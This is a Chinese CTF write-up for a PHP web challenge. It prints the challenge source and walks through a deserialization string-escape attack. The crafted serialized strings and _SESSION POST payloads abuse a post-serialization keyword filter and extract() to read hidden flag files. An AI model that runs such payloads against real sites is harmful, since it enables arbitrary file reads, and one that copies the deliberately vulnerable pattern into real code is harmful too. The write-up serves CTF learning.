我们首先打开题目
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
遇到web的题目,我们首先习惯性的去找到if语句,进行我们的代码审计。
我们将if语句的部分交给gpt
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
从代码审视来看,这一段web可以用代码的注入来做,
然后我们通过查询知道这一段的知识点是php反序列化的逃逸。
参考资料:
https://blog.csdn.net/solitudi/article/details/113588692?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168000662316782425187302%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168000662316782425187302&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-113588692-null-null.142^v76^insert_down1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187
这一段需要用到phpinfo()函数,参考资料:
https://blog.csdn.net/qq_51478862/article/details/119517944?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168000312816800180622250%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168000312816800180622250&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-119517944-null-null.142^v76^insert_down1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=phpinfo&spm=1018.2226.3001.4187
上面提示如果传入phpinfo的话就会eval执行phpinfo,我们构造语句进行上传
?f=phpinfo
我们在目录文件下找到了像flag的文件(d0g3_f1ag.php)
我们想要打开这个文件的时候,url处显示的是空白返回,可能被过滤掉了。
我们在回看它一开始的源代码
所以我们应该构造出这段代码
/index.php?f=show_image
得出一下反馈
我们在回看代码审计
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
询问chatgpt
了解完了全部的代码以及分布内容,我们开始将原本的数据序列化,我们通过反序列化函数将 ’O:4:"user":2:{s:4:"name";s:3:"111";s:3:"age";i:29;}‘ 这个字符串反序列化。运行下面的代码,正常情况下我们会得到111的输出.
<?php
$str = 'O:4:"user":2:{s:4:"name";s:3:"111";s:3:"age";i:29;}';
$u = unserialize($str);
echo $u->name;
// aaa
?>
但是运行的结果没有什么影响,了解之后知道反序列化的过程有一定的识别的范围,在范围之后的内容会被忽略,但是同时它并不会影响到反序列化的正常运行,并且花括号内的内容不会影响代码的正常的运行。
我们重新构造payload
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
// a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
?>
这里我们运行了之后会发现,我们花括号里的请求会变成空的返回值,我们查看代码,发现是过滤代码将我们的flag给替换为空了,我们重新构造一个反序列,并重新构造一个payload,进行post上传
SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这时候,我们又得到了新的提示。
我们再次构造payload
_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
这时我们得到了最后的flag